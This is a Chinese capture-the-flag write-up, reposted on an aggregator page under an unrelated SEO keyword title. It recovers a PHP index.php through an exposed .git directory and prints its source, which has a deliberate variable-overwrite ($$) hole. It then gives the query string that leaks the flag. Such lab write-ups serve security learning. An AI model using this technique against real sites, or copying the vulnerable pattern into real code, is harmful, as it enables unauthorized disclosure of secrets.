您的位置:首页 > 房产 > 建筑 > 武汉cms建站_天津建设教育培训中心官网_网页设计制作网站模板图片_seo推广软件排行榜

武汉cms建站_天津建设教育培训中心官网_网页设计制作网站模板图片_seo推广软件排行榜

2025/4/8 9:12:16 来源:https://blog.csdn.net/2401_86190146/article/details/146763750  浏览:    关键词:武汉cms建站_天津建设教育培训中心官网_网页设计制作网站模板图片_seo推广软件排行榜
武汉cms建站_天津建设教育培训中心官网_网页设计制作网站模板图片_seo推广软件排行榜

扫出来/.git/ 

 利用GitHack拿到index.php

 源代码:

<?phpinclude 'flag.php';
//flag.php:
//<?php
//$flag = file_get_contents('/flag');$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){$$x = $y;
}foreach($_GET as $x => $y){$$x = $$y;
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($yds);
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){exit($is);
}echo "the flag is: ".$flag;

漏洞利用点:

GET提交的键值和键名都是可控的,存在 $$ 可以实现变量覆盖

$$x的意思就是把$x的值当作变量名再新创建一个变量,$$x=$$y的意思就是,比如说传进 ?name=test ,此时 $x=name,$y=test ,就会让$name=$text

$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_GET as $x => $y){$$x = $$y;
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){exit($handsome);}
}

我们可以利用变量覆盖构造GET请求handsome=flag,此时通过foreach就会变成$handsome=$flag,就会把flag的值赋给$handsome。再满足if条件就可以输出$handsome也即是flag值了

/?handsome=flag&flag=kkk&kkk=111

 得到flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com